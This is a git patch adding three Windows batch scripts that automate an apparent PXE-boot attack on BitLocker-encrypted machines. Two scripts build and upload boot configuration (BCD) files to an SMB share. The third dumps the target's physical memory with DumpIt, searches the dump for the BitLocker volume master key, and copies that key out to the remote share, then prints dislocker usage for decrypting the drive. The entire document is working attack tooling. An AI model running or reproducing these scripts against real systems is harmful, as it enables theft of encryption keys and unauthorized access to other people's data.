From 5995eff4a5f639e2d44928a6c8b91ccd035ecb0b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marc=20Andr=C3=A9=20Tanner?= <mat@brain-dump.org>
Date: Tue, 25 Feb 2025 21:11:47 +0100
Subject: [PATCH] Add high-level wrapper scripts for exploitation convenience

---
 pxe/smb/exploit-linux.bat  | 30 +++++++++++++++++++++
 pxe/smb/exploit-winpe1.bat | 35 +++++++++++++++++++++++++
 pxe/smb/exploit-winpe2.bat | 53 ++++++++++++++++++++++++++++++++++++++
 3 files changed, 118 insertions(+)
 create mode 100644 pxe/smb/exploit-linux.bat
 create mode 100644 pxe/smb/exploit-winpe1.bat
 create mode 100644 pxe/smb/exploit-winpe2.bat

diff --git a/pxe/smb/exploit-linux.bat b/pxe/smb/exploit-linux.bat
new file mode 100644
index 0000000..657c58b
--- /dev/null
+++ b/pxe/smb/exploit-linux.bat
@@ -0,0 +1,30 @@
+@echo off
+setlocal
+
+:: Check if a drive specifying the SMB share is provided
+if "%~1"=="" (
+	echo	Usage: %~nx0 S:
+	exit /b 1
+)
+
+:: Remove the trailing backslash if present
+set "SERVER=%~1"
+if "%SERVER:~-1%"=="\" set "SERVER=%SERVER:~0,-1%"
+
+echo Downloading scripts
+
+copy "%SERVER%\linux\create-bcd-linux.bat" .
+
+echo.
+echo Creating BCD
+
+call .\create-bcd-linux.bat
+
+echo.
+echo Uploading BCD
+
+copy /Y BCD_linux "%SERVER%"
+copy /Y BCD_linux "%SERVER%\BCD"
+
+echo.
+echo Exit cmd.exe and select PXE boot device
diff --git a/pxe/smb/exploit-winpe1.bat b/pxe/smb/exploit-winpe1.bat
new file mode 100644
index 0000000..342337c
--- /dev/null
+++ b/pxe/smb/exploit-winpe1.bat
@@ -0,0 +1,35 @@
+@echo off
+setlocal
+
+:: Check if a drive specifying the SMB share is provided
+if "%~1"=="" (
+	echo	Usage: %~nx0 S:
+	exit /b 1
+)
+
+:: Remove the trailing backslash if present
+set "SERVER=%~1"
+if "%SERVER:~-1%"=="\" set "SERVER=%SERVER:~0,-1%"
+
+echo Downloading scripts
+
+copy "%SERVER%\winpe\create-bcd-winpe1.bat" .
+copy "%SERVER%\winpe\create-bcd-winpe2.bat" .
+
+echo.
+echo Creating first stage BCD
+call .\create-bcd-winpe1.bat
+
+echo.
+echo Creating second stage BCD
+call .\create-bcd-winpe2.bat
+
+echo.
+echo Uploading BCDs
+
+copy /Y BCD_winpe1 "%SERVER%"
+copy /Y BCD_winpe1 "%SERVER%\BCD"
+copy /Y BCD_winpe2 "%SERVER%"
+
+echo.
+echo Exit cmd.exe and select PXE boot device
diff --git a/pxe/smb/exploit-winpe2.bat b/pxe/smb/exploit-winpe2.bat
new file mode 100644
index 0000000..ef7b883
--- /dev/null
+++ b/pxe/smb/exploit-winpe2.bat
@@ -0,0 +1,53 @@
+@echo off
+setlocal
+
+:: Check if a drive specifying the SMB share is provided
+if "%~1"=="" (
+	echo Usage: %~nx0 S:
+	exit /b 1
+)
+
+:: Remove the trailing backslash if present
+set "SERVER=%~1"
+if "%SERVER:~-1%"=="\" set "SERVER=%SERVER:~0,-1%"
+
+:: Get the current drive letter
+set "CURR_DRIVE=%CD:~0,2%"
+
+:: Check if the drive is X:\
+if /I "%CURR_DRIVE%"=="X:" (
+	echo Error: Current directory is on ramdisk X:\ drive.
+	echo Error: Switch to USB drive having enough space to dump complete RAM
+	fsutil fsinfo drives
+	exit /b 1
+)
+
+echo Downloading tools
+
+copy /Y "%SERVER%\winpe\DumpIt.exe" .
+copy /Y "%SERVER%\winpe\search-vmk.exe" .
+copy /Y "%SERVER%\winpe\dislocker-metadata.exe" .
+
+echo.
+echo Dumping physical memory
+
+for /f %%H in ('hostname') do set HOSTNAME=%%H
+DumpIt /TYPE RAW /NOCOMPRESS /QUIET /NOLYTICS /OUTPUT "memdump-%HOSTNAME%.bin"
+
+echo.
+echo Searching VMK in memory dump
+
+search-vmk.exe "memdump-%HOSTNAME%.bin" "vmk-%HOSTNAME%.dat"
+
+echo.
+echo Uploading VMK
+copy "vmk-%HOSTNAME%.dat" "%SERVER%"
+
+echo.
+echo Displaying partition offsets
+
+wmic partition get DeviceID, StartingOffset, Size
+
+echo.
+echo Query BitLocker metadata
+echo Usage: dislocker-metadata -K vmk.dat -V \\.\PysicalDrive0 -o $OFFSET